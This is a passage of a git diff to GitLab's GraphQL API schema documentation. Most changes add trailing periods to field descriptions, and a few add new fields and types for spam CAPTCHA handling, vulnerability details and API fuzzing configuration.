the snippet. """ title: String @@ -25718,6 +27193,13 @@ Autogenerated return type of UpdateSnippet """ type UpdateSnippetPayload { """ + The CAPTCHA site key which must be used to render a challenge for the user to + solve to obtain a valid captchaResponse value. Included only when an operation + was not completed because "NeedsCaptchaResponse" is true. + """ + captchaSiteKey: String + + """ A unique identifier for the client performing the mutation. """ clientMutationId: String @@ -25728,21 +27210,38 @@ type UpdateSnippetPayload { errors: [String!]! """ + Indicates whether the operation was detected as possible spam and not + completed. If CAPTCHA is enabled, the request must be resubmitted with a valid + CAPTCHA response and spam_log_id included for the operation to be completed. + Included only when an operation was not completed because + "NeedsCaptchaResponse" is true. + """ + needsCaptchaResponse: Boolean + + """ The snippet after mutation. """ snippet: Snippet """ - Indicates whether the operation returns a record detected as spam. + Indicates whether the operation was detected as definite spam. There is no + option to resubmit the request with a CAPTCHA response. """ spam: Boolean + + """ + The spam log ID which must be passed along with a valid CAPTCHA response for + an operation to be completed. Included only when an operation was not + completed because "NeedsCaptchaResponse" is true. + """ + spamLogId: Int } scalar Upload type User { """ - Merge Requests assigned to the user + Merge Requests assigned to the user. """ assignedMergeRequests( """ @@ -25832,7 +27331,7 @@ type User { ): MergeRequestConnection """ - Merge Requests authored by the user + Merge Requests authored by the user. """ authoredMergeRequests( """ @@ -25922,22 +27421,27 @@ type User { ): MergeRequestConnection """ - URL of the user's avatar + URL of the user's avatar. """ avatarUrl: String """ - User email Deprecated in 13.7: Use public_email. + Indicates if the user is a bot. + """ + bot: Boolean! + + """ + User email. Deprecated in 13.7: Use public_email. """ email: String @deprecated(reason: "Use public_email. Deprecated in 13.7.") """ - Group count for the user Available only when feature flag `user_group_counts` is enabled. + Group count for the user. Available only when feature flag `user_group_counts` is enabled. """ groupCount: Int """ - Group memberships of the user + Group memberships of the user. """ groupMemberships( """ @@ -25962,7 +27466,7 @@ type User { ): GroupMemberConnection """ - ID of the user + ID of the user. """ id: ID! @@ -25972,12 +27476,12 @@ type User { location: String """ - Human-readable name of the user + Human-readable name of the user. """ name: String! """ - Project memberships of the user + Project memberships of the user. """ projectMemberships( """ @@ -26002,12 +27506,12 @@ type User { ): ProjectMemberConnection """ - User's public email + User's public email. """ publicEmail: String """ - Merge Requests assigned to the user for review + Merge Requests assigned to the user for review. """ reviewRequestedMergeRequests( """ @@ -26097,7 +27601,7 @@ type User { ): MergeRequestConnection """ - Snippets authored by the user + Snippets authored by the user. """ snippets( """ @@ -26137,7 +27641,7 @@ type User { ): SnippetConnection """ - Projects starred by the user + Projects starred by the user. """ starredProjects( """ @@ -26167,17 +27671,17 @@ type User { ): ProjectConnection """ - State of the user + State of the user. """ state: UserState! """ - User status + User status. """ status: UserStatus """ - Todos of the user + To-do items of the user. """ todos( """ @@ -26237,17 +27741,17 @@ type User { userPermissions: UserPermissions! """ - Username of the user. Unique within this instance of GitLab + Username of the user. Unique within this instance of GitLab. """ username: String! """ - Web path of the user + Web path of the user. """ webPath: String! """ - Web URL of the user + Web URL of the user. """ webUrl: String! } @@ -26288,7 +27792,7 @@ type UserEdge { } """ -Identifier of User +Identifier of User. """ scalar UserID @@ -26321,17 +27825,17 @@ enum UserState { type UserStatus { """ - User availability status + User availability status. """ availability: AvailabilityEnum! """ - String representation of emoji + String representation of emoji. """ emoji: String """ - User status message + User status message. """ message: String @@ -26363,7 +27867,7 @@ type VulnerabilitiesCountByDay { critical: Int! """ - Date for the count + Date for the count. """ date: ISO8601Date! @@ -26388,7 +27892,7 @@ type VulnerabilitiesCountByDay { medium: Int! """ - Total number of vulnerabilities on a particular day + Total number of vulnerabilities on a particular day. """ total: Int! @@ -26403,17 +27907,17 @@ Represents the number of vulnerabilities for a particular severity on a particul """ type VulnerabilitiesCountByDayAndSeverity { """ - Number of vulnerabilities + Number of vulnerabilities. """ count: Int """ - Date for the count + Date for the count. """ day: ISO8601Date """ - Severity of the counted vulnerabilities + Severity of the counted vulnerabilities. """ severity: VulnerabilitySeverity } @@ -26489,7 +27993,7 @@ type VulnerabilitiesCountByDayEdge { } """ -Identifier of Vulnerabilities::ExternalIssueLink +Identifier of Vulnerabilities::ExternalIssueLink. """ scalar VulnerabilitiesExternalIssueLinkID @@ -26498,7 +28002,7 @@ Represents a vulnerability """ type Vulnerability implements Noteable { """ - Timestamp of when the vulnerability state was changed to confirmed + Timestamp of when the vulnerability state was changed to confirmed. """ confirmedAt: Time @@ -26508,17 +28012,22 @@ type Vulnerability implements Noteable { confirmedBy: User """ - Description of the vulnerability + Description of the vulnerability. """ description: String """ - Timestamp of when the vulnerability was first detected + Details of the vulnerability. + """ + details: [VulnerabilityDetail!]! + + """ + Timestamp of when the vulnerability was first detected. """ detectedAt: Time! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -26543,7 +28052,7 @@ type Vulnerability implements Noteable { ): DiscussionConnection! """ - Timestamp of when the vulnerability state was changed to dismissed + Timestamp of when the vulnerability state was changed to dismissed. """ dismissedAt: Time @@ -26553,7 +28062,7 @@ type Vulnerability implements Noteable { dismissedBy: User """ - List of external issue links related to the vulnerability + List of external issue links related to the vulnerability. """ externalIssueLinks( """ @@ -26583,7 +28092,7 @@ type Vulnerability implements Noteable { hasSolutions: Boolean """ - GraphQL ID of the vulnerability + GraphQL ID of the vulnerability. """ id: ID! @@ -26593,7 +28102,7 @@ type Vulnerability implements Noteable { identifiers: [VulnerabilityIdentifier!]! """ - List of issue links related to the vulnerability + List of issue links related to the vulnerability. """ issueLinks( """ @@ -26623,7 +28132,7 @@ type Vulnerability implements Noteable { ): VulnerabilityIssueLinkConnection! """ - Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability + Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability. """ location: VulnerabilityLocation @@ -26633,7 +28142,7 @@ type Vulnerability implements Noteable { mergeRequest: MergeRequest """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -26663,7 +28172,7 @@ type Vulnerability implements Noteable { primaryIdentifier: VulnerabilityIdentifier """ - The project on which the vulnerability was found + The project on which the vulnerability was found. """ project: Project @@ -26675,7 +28184,7 @@ type Vulnerability implements Noteable { reportType: VulnerabilityReportType """ - Timestamp of when the vulnerability state was changed to resolved + Timestamp of when the vulnerability state was changed to resolved. """ resolvedAt: Time @@ -26685,7 +28194,7 @@ type Vulnerability implements Noteable { resolvedBy: User """ - Indicates whether the vulnerability is fixed on the default branch or not + Indicates whether the vulnerability is fixed on the default branch or not. """ resolvedOnDefaultBranch: Boolean! @@ -26705,12 +28214,12 @@ type Vulnerability implements Noteable { state: VulnerabilityState """ - Title of the vulnerability + Title of the vulnerability. """ title: String """ - Number of user notes attached to the vulnerability + Number of user notes attached to the vulnerability. """ userNotesCount: Int! @@ -26720,7 +28229,7 @@ type Vulnerability implements Noteable { userPermissions: VulnerabilityPermissions! """ - URL to the vulnerability's details page + URL to the vulnerability's details page. """ vulnerabilityPath: String } @@ -26781,6 +28290,366 @@ type VulnerabilityConnection { } """ +Represents a vulnerability detail field. The fields with data will depend on the vulnerability detail type +""" +union VulnerabilityDetail = VulnerabilityDetailBase | VulnerabilityDetailBoolean | VulnerabilityDetailCode | VulnerabilityDetailCommit | VulnerabilityDetailDiff | VulnerabilityDetailFileLocation | VulnerabilityDetailInt | VulnerabilityDetailList | VulnerabilityDetailMarkdown | VulnerabilityDetailModuleLocation | VulnerabilityDetailTable | VulnerabilityDetailText | VulnerabilityDetailUrl + +""" +Represents the vulnerability details base +""" +type VulnerabilityDetailBase { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! +} + +""" +Represents the vulnerability details boolean value +""" +type VulnerabilityDetailBoolean { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! + + """ + Value of the field. + """ + value: Boolean! +} + +""" +Represents the vulnerability details code field +""" +type VulnerabilityDetailCode { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Language of the code. + """ + lang: String + + """ + Name of the field. + """ + name: String! + + """ + Source code. + """ + value: String! +} + +""" +Represents the vulnerability details commit field +""" +type VulnerabilityDetailCommit { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! + + """ + The commit SHA value. + """ + value: String! +} + +""" +Represents the vulnerability details diff field +""" +type VulnerabilityDetailDiff { + """ + Value of the field after the change. + """ + after: String! + + """ + Value of the field before the change. + """ + before: String! + + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! +} + +""" +Represents the vulnerability details location within a file in the project +""" +type VulnerabilityDetailFileLocation { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + File name. + """ + fileName: String! + + """ + End line number of the file location. + """ + lineEnd: Int! + + """ + Start line number of the file location. + """ + lineStart: Int! + + """ + Name of the field. + """ + name: String! +} + +""" +Represents the vulnerability details integer value +""" +type VulnerabilityDetailInt { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! + + """ + Value of the field. + """ + value: Int! +} + +""" +Represents the vulnerability details list value +""" +type VulnerabilityDetailList { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + List of details. + """ + items: [VulnerabilityDetail!]! + + """ + Name of the field. + """ + name: String! +} + +""" +Represents the vulnerability details Markdown field +""" +type VulnerabilityDetailMarkdown { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! + + """ + Value of the Markdown field. + """ + value: String! +} + +""" +Represents the vulnerability details location within a file in the project +""" +type VulnerabilityDetailModuleLocation { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Module name. + """ + moduleName: String! + + """ + Name of the field. + """ + name: String! + + """ + Offset of the module location. + """ + offset: Int! +} + +""" +Represents the vulnerability details table value +""" +type VulnerabilityDetailTable { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Table headers. + """ + headers: [VulnerabilityDetail!]! + + """ + Name of the field. + """ + name: String! + + """ + Table rows. + """ + rows: [VulnerabilityDetail!]! +} + +""" +Represents the vulnerability details text field +""" +type VulnerabilityDetailText { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Name of the field. + """ + name: String! + + """ + Value of the text field. + """ + value: String! +} + +""" +Represents the vulnerability details URL field +""" +type VulnerabilityDetailUrl { + """ + Description of the field. + """ + description: String! + + """ + Name of the field. + """ + fieldName: String + + """ + Href of the URL. + """ + href: String! + + """ + Name of the field. + """ + name: String! + + """ + Text of the URL. + """ + text: String +} + +""" Autogenerated input type of VulnerabilityDismiss """ input VulnerabilityDismissInput { @@ -26875,17 +28744,17 @@ Represents an external issue link of a vulnerability """ type VulnerabilityExternalIssueLink { """ - The external issue attached to the issue link + The external issue attached to the issue link. """ externalIssue: ExternalIssue """ - GraphQL ID of the external issue link + GraphQL ID of the external issue link. """ id: VulnerabilitiesExternalIssueLinkID! """ - Type of the external issue link + Type of the external issue link. """ linkType: VulnerabilityExternalIssueLinkType! } @@ -27032,7 +28901,7 @@ enum VulnerabilityGrade { } """ -Identifier of Vulnerability +Identifier of Vulnerability. """ scalar VulnerabilityID @@ -27041,22 +28910,22 @@ Represents a vulnerability identifier """ type VulnerabilityIdentifier { """ - External ID of the vulnerability identifier + External ID of the vulnerability identifier. """ externalId: String """ - External type of the vulnerability identifier + External type of the vulnerability identifier. """ externalType: String """ - Name of the vulnerability identifier + Name of the vulnerability identifier. """ name: String """ - URL of the vulnerability identifier + URL of the vulnerability identifier. """ url: String } @@ -27066,17 +28935,17 @@ Represents an issue link of a vulnerability """ type VulnerabilityIssueLink { """ - GraphQL ID of the vulnerability + GraphQL ID of the vulnerability. """ id: ID! """ - The issue attached to issue link + The issue attached to issue link. """ issue: Issue! """ - Type of the issue link + Type of the issue link. """ linkType: VulnerabilityIssueLinkType! } @@ -27134,17 +29003,17 @@ Represents the location of a vulnerability found by a container security scan """ type VulnerabilityLocationContainerScanning { """ - Dependency containing the vulnerability + Dependency containing the vulnerability. """ dependency: VulnerableDependency """ - Name of the vulnerable container image + Name of the vulnerable container image. """ image: String """ - Operating system that runs on the vulnerable container image + Operating system that runs on the vulnerable container image. """ operatingSystem: String } @@ -27154,27 +29023,32 @@ Represents the location of a vulnerability found by a Coverage Fuzzing scan """ type VulnerabilityLocationCoverageFuzzing { """ - Number of the last relevant line in the vulnerable file + Blob path to the vulnerable file. + """ + blobPath: String + + """ + Number of the last relevant line in the vulnerable file. """ endLine: String """ - Path to the vulnerable file + Path to the vulnerable file. """ file: String """ - Number of the first relevant line in the vulnerable file + Number of the first relevant line in the vulnerable file. """ startLine: String """ - Class containing the vulnerability + Class containing the vulnerability. """ vulnerableClass: String """ - Method containing the vulnerability + Method containing the vulnerability. """ vulnerableMethod: String } @@ -27184,22 +29058,22 @@ Represents the location of a vulnerability found by a DAST scan """ type VulnerabilityLocationDast { """ - Domain name of the vulnerable request + Domain name of the vulnerable request. """ hostname: String """ - Query parameter for the URL on which the vulnerability occurred + Query parameter for the URL on which the vulnerability occurred. """ param: String """ - URL path and query string of the vulnerable request + URL path and query string of the vulnerable request. """ path: String """ - HTTP method of the vulnerable request + HTTP method of the vulnerable request. """ requestMethod: String } @@ -27209,12 +29083,17 @@ Represents the location of a vulnerability found by a dependency security scan """ type VulnerabilityLocationDependencyScanning { """ - Dependency containing the vulnerability + Blob path to the vulnerable file. + """ + blobPath: String + + """ + Dependency containing the vulnerability. """ dependency: VulnerableDependency """ - Path to the vulnerable file + Path to the vulnerable file. """ file: String } @@ -27224,27 +29103,32 @@ Represents the location of a vulnerability found by a SAST scan """ type VulnerabilityLocationSast { """ - Number of the last relevant line in the vulnerable file + Blob path to the vulnerable file. + """ + blobPath: String + + """ + Number of the last relevant line in the vulnerable file. """ endLine: String """ - Path to the vulnerable file + Path to the vulnerable file. """ file: String """ - Number of the first relevant line in the vulnerable file + Number of the first relevant line in the vulnerable file. """ startLine: String """ - Class containing the vulnerability + Class containing the vulnerability. """ vulnerableClass: String """ - Method containing the vulnerability + Method containing the vulnerability. """ vulnerableMethod: String } @@ -27254,27 +29138,32 @@ Represents the location of a vulnerability found by a secret detection scan """ type VulnerabilityLocationSecretDetection { """ - Number of the last relevant line in the vulnerable file + Blob path to the vulnerable file. + """ + blobPath: String + + """ + Number of the last relevant line in the vulnerable file. """ endLine: String """ - Path to the vulnerable file + Path to the vulnerable file. """ file: String """ - Number of the first relevant line in the vulnerable file + Number of the first relevant line in the vulnerable file. """ startLine: String """ - Class containing the vulnerability + Class containing the vulnerability. """ vulnerableClass: String """ - Method containing the vulnerability + Method containing the vulnerability. """ vulnerableMethod: String } @@ -27417,22 +29306,22 @@ Represents a vulnerability scanner """ type VulnerabilityScanner { """ - External ID of the vulnerability scanner + External ID of the vulnerability scanner. """ externalId: String """ - Name of the vulnerability scanner + Name of the vulnerability scanner. """ name: String """ - Type of the vulnerability report + Type of the vulnerability report. """ reportType: VulnerabilityReportType """ - Vendor of the vulnerability scanner + Vendor of the vulnerability scanner. """ vendor: String } @@ -27589,12 +29478,12 @@ Represents a vulnerable dependency. Used in vulnerability location data """ type VulnerableDependency { """ - The package associated with the vulnerable dependency + The package associated with the vulnerable dependency. """ package: VulnerablePackage """ - The version of the vulnerable dependency + The version of the vulnerable dependency. """ version: String } @@ -27604,7 +29493,7 @@ Represents a vulnerable package. Used in vulnerability dependency data """ type VulnerablePackage { """ - The name of the vulnerable package + The name of the vulnerable package. """ name: String } @@ -27614,17 +29503,17 @@ Represents vulnerability letter grades with associated projects """ type VulnerableProjectsByGrade { """ - Number of projects within this grade + Number of projects within this grade. """ count: Int! """ - Grade based on the highest severity vulnerability present + Grade based on the highest severity vulnerability present. """ grade: VulnerabilityGrade! """ - Projects within this grade + Projects within this grade. """ projects( """ diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json index 138530abb17..492682d2e54 100644 --- a/doc/api/graphql/reference/gitlab_schema.json +++ b/doc/api/graphql/reference/gitlab_schema.json @@ -16,7 +16,7 @@ "fields": [ { "name": "integerValue", - "description": "Integer representation of access level", + "description": "Integer representation of access level.", "args": [ ], @@ -30,7 +30,7 @@ }, { "name": "stringValue", - "description": "String representation of access level", + "description": "String representation of access level.", "args": [ ], @@ -119,7 +119,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -504,7 +504,7 @@ "fields": [ { "name": "assignees", - "description": "Assignees of the alert", + "description": "Assignees of the alert.", "args": [ { "name": "after", @@ -557,7 +557,7 @@ }, { "name": "createdAt", - "description": "Timestamp the alert was created", + "description": "Timestamp the alert was created.", "args": [ ], @@ -571,7 +571,7 @@ }, { "name": "description", - "description": "Description of the alert", + "description": "Description of the alert.", "args": [ ], @@ -585,7 +585,7 @@ }, { "name": "details", - "description": "Alert details", + "description": "Alert details.", "args": [ ], @@ -599,7 +599,7 @@ }, { "name": "detailsUrl", - "description": "The URL of the alert detail page", + "description": "The URL of the alert detail page.", "args": [ ], @@ -617,7 +617,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -674,7 +674,7 @@ }, { "name": "endedAt", - "description": "Timestamp the alert ended", + "description": "Timestamp the alert ended.", "args": [ ], @@ -688,7 +688,7 @@ }, { "name": "environment", - "description": "Environment for the alert", + "description": "Environment for the alert.", "args": [ ], @@ -702,7 +702,7 @@ }, { "name": "eventCount", - "description": "Number of events of this alert", + "description": "Number of events of this alert.", "args": [ ], @@ -716,7 +716,7 @@ }, { "name": "hosts", - "description": "List of hosts the alert came from", + "description": "List of hosts the alert came from.", "args": [ ], @@ -738,7 +738,7 @@ }, { "name": "iid", - "description": "Internal ID of the alert", + "description": "Internal ID of the alert.", "args": [ ], @@ -756,7 +756,7 @@ }, { "name": "issueIid", - "description": "Internal ID of the GitLab issue attached to the alert", + "description": "Internal ID of the GitLab issue attached to the alert.", "args": [ ], @@ -770,7 +770,7 @@ }, { "name": "metricsDashboardUrl", - "description": "URL for metrics embed for the alert", + "description": "URL for metrics embed for the alert.", "args": [ ], @@ -784,7 +784,7 @@ }, { "name": "monitoringTool", - "description": "Monitoring tool the alert came from", + "description": "Monitoring tool the alert came from.", "args": [ ], @@ -798,7 +798,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -855,7 +855,7 @@ }, { "name": "prometheusAlert", - "description": "The alert condition for Prometheus", + "description": "The alert condition for Prometheus.", "args": [ ], @@ -869,7 +869,7 @@ }, { "name": "runbook", - "description": "Runbook for the alert as defined in alert details", + "description": "Runbook for the alert as defined in alert details.", "args": [ ], @@ -883,7 +883,7 @@ }, { "name": "service", - "description": "Service the alert came from", + "description": "Service the alert came from.", "args": [ ], @@ -897,7 +897,7 @@ }, { "name": "severity", - "description": "Severity of the alert", + "description": "Severity of the alert.", "args": [ ], @@ -911,7 +911,7 @@ }, { "name": "startedAt", - "description": "Timestamp the alert was raised", + "description": "Timestamp the alert was raised.", "args": [ ], @@ -925,7 +925,7 @@ }, { "name": "status", - "description": "Status of the alert", + "description": "Status of the alert.", "args": [ ], @@ -939,7 +939,7 @@ }, { "name": "title", - "description": "Title of the alert", + "description": "Title of the alert.", "args": [ ], @@ -953,7 +953,7 @@ }, { "name": "todos", - "description": "Todos of the current user for the alert", + "description": "To-do items of the current user for the alert.", "args": [ { "name": "action", @@ -1114,7 +1114,7 @@ }, { "name": "updatedAt", - "description": "Timestamp the alert was last updated", + "description": "Timestamp the alert was last updated.", "args": [ ], @@ -1414,7 +1414,7 @@ }, { "name": "all", - "description": "Total number of alerts for the project", + "description": "Total number of alerts for the project.", "args": [ ], @@ -1442,7 +1442,7 @@ }, { "name": "open", - "description": "Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project", + "description": "Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project.", "args": [ ], @@ -1520,7 +1520,7 @@ "fields": [ { "name": "active", - "description": "Whether the endpoint is currently accepting alerts", + "description": "Whether the endpoint is currently accepting alerts.", "args": [ ], @@ -1534,7 +1534,7 @@ }, { "name": "apiUrl", - "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard", + "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard.", "args": [ ], @@ -1548,7 +1548,7 @@ }, { "name": "id", - "description": "ID of the integration", + "description": "ID of the integration.", "args": [ ], @@ -1566,7 +1566,7 @@ }, { "name": "name", - "description": "Name of the integration", + "description": "Name of the integration.", "args": [ ], @@ -1580,7 +1580,7 @@ }, { "name": "token", - "description": "Token used to authenticate alert notification requests", + "description": "Token used to authenticate alert notification requests.", "args": [ ], @@ -1594,7 +1594,7 @@ }, { "name": "type", - "description": "Type of integration", + "description": "Type of integration.", "args": [ ], @@ -1612,7 +1612,7 @@ }, { "name": "url", - "description": "Endpoint which accepts alert notifications", + "description": "Endpoint which accepts alert notifications.", "args": [ ], @@ -1639,7 +1639,7 @@ { "kind": "SCALAR", "name": "AlertManagementHttpIntegrationID", - "description": "Identifier of AlertManagement::HttpIntegration", + "description": "Identifier of AlertManagement::HttpIntegration.", "fields": null, "inputFields": null, "interfaces": null, @@ -1653,7 +1653,7 @@ "fields": [ { "name": "active", - "description": "Whether the endpoint is currently accepting alerts", + "description": "Whether the endpoint is currently accepting alerts.", "args": [ ], @@ -1667,7 +1667,7 @@ }, { "name": "apiUrl", - "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard", + "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard.", "args": [ ], @@ -1681,7 +1681,7 @@ }, { "name": "id", - "description": "ID of the integration", + "description": "ID of the integration.", "args": [ ], @@ -1699,7 +1699,7 @@ }, { "name": "name", - "description": "Name of the integration", + "description": "Name of the integration.", "args": [ ], @@ -1713,7 +1713,7 @@ }, { "name": "token", - "description": "Token used to authenticate alert notification requests", + "description": "Token used to authenticate alert notification requests.", "args": [ ], @@ -1727,7 +1727,7 @@ }, { "name": "type", - "description": "Type of integration", + "description": "Type of integration.", "args": [ ], @@ -1745,7 +1745,7 @@ }, { "name": "url", - "description": "Endpoint which accepts alert notifications", + "description": "Endpoint which accepts alert notifications.", "args": [ ], @@ -1910,6 +1910,69 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "AlertManagementPayloadAlertField", + "description": "Parsed field from an alert used for custom mappings", + "fields": [ + { + "name": "label", + "description": "Human-readable label of the payload path.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "path", + "description": "Path to value inside payload JSON.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "type", + "description": "Type of the parsed value.", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "AlertManagementPayloadAlertFieldType", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "AlertManagementPayloadAlertFieldInput", "description": "Field that are available while modifying the custom mapping attributes for an HTTP integration", @@ -2087,7 +2150,7 @@ "fields": [ { "name": "active", - "description": "Whether the endpoint is currently accepting alerts", + "description": "Whether the endpoint is currently accepting alerts.", "args": [ ], @@ -2101,7 +2164,7 @@ }, { "name": "apiUrl", - "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard", + "description": "URL at which Prometheus metrics can be queried to populate the metrics dashboard.", "args": [ ], @@ -2115,7 +2178,7 @@ }, { "name": "id", - "description": "ID of the integration", + "description": "ID of the integration.", "args": [ ], @@ -2133,7 +2196,7 @@ }, { "name": "name", - "description": "Name of the integration", + "description": "Name of the integration.", "args": [ ], @@ -2147,7 +2210,7 @@ }, { "name": "token", - "description": "Token used to authenticate alert notification requests", + "description": "Token used to authenticate alert notification requests.", "args": [ ], @@ -2161,7 +2224,7 @@ }, { "name": "type", - "description": "Type of integration", + "description": "Type of integration.", "args": [ ], @@ -2179,7 +2242,7 @@ }, { "name": "url", - "description": "Endpoint which accepts alert notifications", + "description": "Endpoint which accepts alert notifications.", "args": [ ], @@ -2441,7 +2504,7 @@ }, { "name": "todo", - "description": "The todo after mutation.", + "description": "The to-do item after mutation.", "args": [ ], @@ -2585,7 +2648,7 @@ }, { "name": "todo", - "description": "The todo after mutation.", + "description": "The to-do item after mutation.", "args": [ ], @@ -2608,10 +2671,333 @@ { "kind": "SCALAR", "name": "AnalyticsDevopsAdoptionSegmentID", - "description": "Identifier of Analytics::DevopsAdoption::Segment", + "description": "Identifier of Analytics::DevopsAdoption::Segment.", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ApiFuzzingCiConfiguration", + "description": "Data associated with configuring API fuzzing scans in GitLab CI", + "fields": [ + { + "name": "scanModes", + "description": "All available scan modes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "ApiFuzzingScanMode", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "scanProfiles", + "description": "All default scan profiles.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "ApiFuzzingScanProfile", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "ApiFuzzingCiConfigurationCreateInput", + "description": "Autogenerated input type of ApiFuzzingCiConfigurationCreate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "Full path of the project.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "apiSpecificationFile", + "description": "File path or URL to the file that defines the API surface for scanning. Must be in the format specified by the `scanMode` argument.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "authPassword", + "description": "CI variable containing the password for authenticating with the target API.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "authUsername", + "description": "CI variable containing the username for authenticating with the target API.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "scanMode", + "description": "The mode for API fuzzing scans.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "ApiFuzzingScanMode", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "scanProfile", + "description": "Name of a default profile to use for scanning. Ex: Quick-10.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "target", + "description": "URL for the target of API fuzzing scans.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ApiFuzzingCiConfigurationCreatePayload", + "description": "Autogenerated return type of ApiFuzzingCiConfigurationCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "configurationYaml", + "description": "A YAML snippet that can be inserted into the project's `.gitlab-ci.yml` to set up API fuzzing scans.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "gitlabCiYamlEditPath", + "description": "The location at which the project's `.gitlab-ci.yml` file can be edited in the browser.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "ENUM", + "name": "ApiFuzzingScanMode", + "description": "All possible ways to specify the API surface for an API fuzzing scan", "fields": null, "inputFields": null, "interfaces": null, + "enumValues": [ + { + "name": "HAR", + "description": "The API surface is specified by a HAR file.", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "OPENAPI", + "description": "The API surface is specified by a OPENAPI file.", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ApiFuzzingScanProfile", + "description": "An API Fuzzing scan 